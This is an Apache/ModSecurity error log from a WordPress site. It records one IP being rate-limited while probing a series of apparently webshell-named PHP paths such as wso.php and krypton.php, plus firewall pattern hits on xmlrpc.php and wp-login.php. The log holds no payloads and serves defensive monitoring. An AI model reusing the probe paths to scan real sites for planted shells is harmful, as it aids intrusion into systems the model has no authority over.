[Sat Dec 13 00:10:18.100723 2025] [:error] [pid 26521:tid 26584] [client 4.193.186.94:3881] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ac.php"] [unique_id "aTw-apdhcAPU617AKTDG4AAAAIU"]
[Sat Dec 13 00:10:18.283984 2025] [:error] [pid 60649:tid 60670] [client 4.193.186.94:3366] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ac.php"] [unique_id "aTw-alOcUGKU3sgfHP8j-wAAARI"]
[Sat Dec 13 00:10:18.465930 2025] [:error] [pid 26607:tid 26623] [client 4.193.186.94:3756] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aTw-asb_b0tOEWTL2KnICQAAAM4"]
[Sat Dec 13 00:10:18.639629 2025] [:error] [pid 60649:tid 60671] [client 4.193.186.94:3699] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aTw-alOcUGKU3sgfHP8j_AAAARM"]
[Sat Dec 13 00:10:18.813652 2025] [:error] [pid 55760:tid 55785] [client 4.193.186.94:3374] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aTw-alObDQlftFDyGaxIWQAAAZc"]
[Sat Dec 13 00:10:18.999955 2025] [:error] [pid 55760:tid 55764] [client 4.193.186.94:3336] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aTw-alObDQlftFDyGaxIWgAAAYI"]
[Sat Dec 13 00:10:19.174925 2025] [:error] [pid 60649:tid 60667] [client 4.193.186.94:3370] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/krypton.php"] [unique_id "aTw-a1OcUGKU3sgfHP8j_gAAAQ8"]
[Sat Dec 13 00:10:19.354992 2025] [:error] [pid 26607:tid 26625] [client 4.193.186.94:3884] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/krypton.php"] [unique_id "aTw-a8b_b0tOEWTL2KnICwAAANA"]
[Sat Dec 13 00:10:19.531686 2025] [:error] [pid 26607:tid 26626] [client 4.193.186.94:3902] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/krypton.php"] [unique_id "aTw-a8b_b0tOEWTL2KnIDQAAANE"]
[Sat Dec 13 00:10:19.721875 2025] [:error] [pid 26607:tid 26613] [client 4.193.186.94:3868] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/krypton.php"] [unique_id "aTw-a8b_b0tOEWTL2KnIEAAAAMQ"]
[Sat Dec 13 00:10:19.896632 2025] [:error] [pid 26607:tid 26633] [client 4.193.186.94:3385] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karma_57c3d4.php"] [unique_id "aTw-a8b_b0tOEWTL2KnIEgAAANg"]
[Sat Dec 13 00:10:20.077824 2025] [:error] [pid 60649:tid 60653] [client 4.193.186.94:3854] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karma_57c3d4.php"] [unique_id "aTw-bFOcUGKU3sgfHP8j_wAAAQE"]
[Sat Dec 13 00:10:20.264671 2025] [:error] [pid 26607:tid 26621] [client 4.193.186.94:3898] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karma_57c3d4.php"] [unique_id "aTw-bMb_b0tOEWTL2KnIFAAAAMw"]
[Sat Dec 13 00:10:20.461734 2025] [:error] [pid 26519:tid 26531] [client 4.193.186.94:3660] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karma_57c3d4.php"] [unique_id "aTw-bM8TRgSGOeWqEhcW5wAAAAg"]
[Sat Dec 13 00:10:20.636479 2025] [:error] [pid 26520:tid 26563] [client 4.193.186.94:3651] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fc72f.php"] [unique_id "aTw-bEG_frlY5vNXu_AhrgAAAEs"]
[Sat Dec 13 00:10:20.811086 2025] [:error] [pid 26520:tid 26573] [client 4.193.186.94:3331] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fc72f.php"] [unique_id "aTw-bEG_frlY5vNXu_AhsAAAAFU"]
[Sat Dec 13 00:10:20.990186 2025] [:error] [pid 26520:tid 26571] [client 4.193.186.94:3694] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fc72f.php"] [unique_id "aTw-bEG_frlY5vNXu_AhsQAAAFM"]
[Sat Dec 13 00:10:21.165805 2025] [:error] [pid 26520:tid 26560] [client 4.193.186.94:3341] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fc72f.php"] [unique_id "aTw-bUG_frlY5vNXu_AhtAAAAEg"]
[Sat Dec 13 00:10:21.342204 2025] [:error] [pid 26520:tid 26572] [client 4.193.186.94:3333] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aTw-bUG_frlY5vNXu_AhtgAAAFQ"]
[Sat Dec 13 00:10:21.524620 2025] [:error] [pid 26520:tid 26570] [client 4.193.186.94:3653] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aTw-bUG_frlY5vNXu_AhtwAAAFI"]
[Sat Dec 13 00:10:21.703945 2025] [:error] [pid 60649:tid 60662] [client 4.193.186.94:3860] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aTw-bVOcUGKU3sgfHP8kAAAAAQo"]
[Sat Dec 13 00:10:21.878521 2025] [:error] [pid 27950:tid 27971] [client 4.193.186.94:3365] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aTw-bYVLRvkrdsSc1F3O7wAAAVM"]
[Sat Dec 13 00:10:22.075464 2025] [:error] [pid 27950:tid 27958] [client 4.193.186.94:3877] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jjrpo.php"] [unique_id "aTw-boVLRvkrdsSc1F3O8QAAAUY"]
[Sat Dec 13 00:10:22.249182 2025] [:error] [pid 26520:tid 26567] [client 4.193.186.94:3684] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jjrpo.php"] [unique_id "aTw-bkG_frlY5vNXu_AhugAAAE8"]
[Sat Dec 13 00:10:22.460797 2025] [:error] [pid 60649:tid 60654] [client 4.193.186.94:3861] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jjrpo.php"] [unique_id "aTw-blOcUGKU3sgfHP8kAgAAAQI"]
[Sat Dec 13 00:10:22.660040 2025] [:error] [pid 60649:tid 60674] [client 4.193.186.94:3848] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jjrpo.php"] [unique_id "aTw-blOcUGKU3sgfHP8kAwAAARY"]
[Sat Dec 13 00:10:22.835665 2025] [:error] [pid 60649:tid 60668] [client 4.193.186.94:3719] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aTw-blOcUGKU3sgfHP8kBQAAARA"]
[Sat Dec 13 00:10:23.013326 2025] [:error] [pid 60649:tid 60663] [client 4.193.186.94:3864] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aTw-b1OcUGKU3sgfHP8kBgAAAQs"]
[Sat Dec 13 00:10:23.192741 2025] [:error] [pid 26519:tid 26541] [client 4.193.186.94:3372] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aTw-b88TRgSGOeWqEhcW6QAAABI"]
[Sat Dec 13 00:10:23.378145 2025] [:error] [pid 26519:tid 26530] [client 4.193.186.94:3868] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aTw-b88TRgSGOeWqEhcW7AAAAAc"]
[Sat Dec 13 00:10:23.554267 2025] [:error] [pid 26519:tid 26536] [client 4.193.186.94:3664] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-advaced.php"] [unique_id "aTw-b88TRgSGOeWqEhcW7QAAAA0"]
[Sat Dec 13 00:10:23.760975 2025] [:error] [pid 26519:tid 26538] [client 4.193.186.94:3712] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-advaced.php"] [unique_id "aTw-b88TRgSGOeWqEhcW7wAAAA8"]
[Sat Dec 13 00:10:23.935922 2025] [:error] [pid 55760:tid 55782] [client 4.193.186.94:3387] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-advaced.php"] [unique_id "aTw-b1ObDQlftFDyGaxIYAAAAZQ"]
[Sat Dec 13 00:10:24.117161 2025] [:error] [pid 26607:tid 26628] [client 4.193.186.94:3655] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-advaced.php"] [unique_id "aTw-cMb_b0tOEWTL2KnIHwAAANM"]
[Sat Dec 13 00:10:24.305586 2025] [:error] [pid 26519:tid 26532] [client 4.193.186.94:3663] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd.php"] [unique_id "aTw-cM8TRgSGOeWqEhcW8gAAAAk"]
[Sat Dec 13 00:10:24.481150 2025] [:error] [pid 26607:tid 26614] [client 4.193.186.94:3690] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd.php"] [unique_id "aTw-cMb_b0tOEWTL2KnIIgAAAMU"]
[Sat Dec 13 00:10:24.656952 2025] [:error] [pid 26607:tid 26613] [client 4.193.186.94:3701] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd.php"] [unique_id "aTw-cMb_b0tOEWTL2KnIIwAAAMQ"]
[Sat Dec 13 00:10:24.831980 2025] [:error] [pid 26607:tid 26611] [client 4.193.186.94:3676] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd.php"] [unique_id "aTw-cMb_b0tOEWTL2KnIJAAAAMI"]
[Sat Dec 13 00:10:25.012254 2025] [:error] [pid 27950:tid 27972] [client 4.193.186.94:3876] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtt.php"] [unique_id "aTw-cYVLRvkrdsSc1F3O9gAAAVQ"]
[Sat Dec 13 00:10:25.187941 2025] [:error] [pid 26520:tid 26574] [client 4.193.186.94:3356] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtt.php"] [unique_id "aTw-cUG_frlY5vNXu_AhuwAAAFY"]
[Sat Dec 13 00:10:25.371693 2025] [:error] [pid 26519:tid 26543] [client 4.193.186.94:3682] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtt.php"] [unique_id "aTw-cc8TRgSGOeWqEhcW9gAAABQ"]
[Sat Dec 13 00:10:25.574857 2025] [:error] [pid 26519:tid 26545] [client 4.193.186.94:3648] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtt.php"] [unique_id "aTw-cc8TRgSGOeWqEhcW9wAAABY"]
[Sat Dec 13 00:10:25.769885 2025] [:error] [pid 27950:tid 27968] [client 4.193.186.94:3693] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aTw-cYVLRvkrdsSc1F3O9wAAAVA"]
[Sat Dec 13 00:10:25.951951 2025] [:error] [pid 55760:tid 55784] [client 4.193.186.94:3352] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aTw-cVObDQlftFDyGaxIZQAAAZY"]
[Sat Dec 13 00:10:26.138174 2025] [:error] [pid 55760:tid 55779] [client 4.193.186.94:3895] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aTw-clObDQlftFDyGaxIZwAAAZE"]
[Sat Dec 13 00:10:26.311410 2025] [:error] [pid 26521:tid 26592] [client 4.193.186.94:3390] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s.php"] [unique_id "aTw-cpdhcAPU617AKTDG9QAAAI0"]
[Sat Dec 13 00:10:26.523678 2025] [:error] [pid 55760:tid 55769] [client 4.193.186.94:3383] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aTw-clObDQlftFDyGaxIaAAAAYc"]
[Sat Dec 13 00:10:26.700718 2025] [:error] [pid 26521:tid 26601] [client 4.193.186.94:3894] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aTw-cpdhcAPU617AKTDG-QAAAJY"]
[Sat Dec 13 00:10:26.876382 2025] [:error] [pid 26521:tid 26585] [client 4.193.186.94:3889] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aTw-cpdhcAPU617AKTDG_QAAAIY"]
[Sat Dec 13 00:10:27.053954 2025] [:error] [pid 55760:tid 55774] [client 4.193.186.94:3334] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aTw-c1ObDQlftFDyGaxIagAAAYw"]
[Sat Dec 13 01:37:02.491521 2025] [:error] [pid 26520:tid 26571] [client 182.42.104.32:37700] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTxSvkG_frlY5vNXu_A28gAAAFM"]
[Sat Dec 13 03:19:20.999139 2025] [:error] [pid 60991:tid 60993] [client 187.18.215.247:13229] [client 187.18.215.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.18.215.247, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTxquG5Xj6-M-KjdjNjbmQAAAcA"]
[Sat Dec 13 03:20:05.882621 2025] [:error] [pid 26607:tid 26617] [client 104.28.231.189:52054] [client 104.28.231.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.231.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTxq5cb_b0tOEWTL2KnsYgAAAMg"]
[Sat Dec 13 03:32:08.393209 2025] [:error] [pid 26521:tid 26587] [client 20.196.106.26:5527] [client 20.196.106.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.196.106.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTxtuJdhcAPU617AKTDykQAAAIg"], referer: https://www.google.fr/
[Sat Dec 13 03:32:11.502855 2025] [autoindex:error] [pid 60991:tid 60997] [client 20.196.106.26:63763] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sat Dec 13 03:32:13.418373 2025] [autoindex:error] [pid 60991:tid 61011] [client 20.196.106.26:63763] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
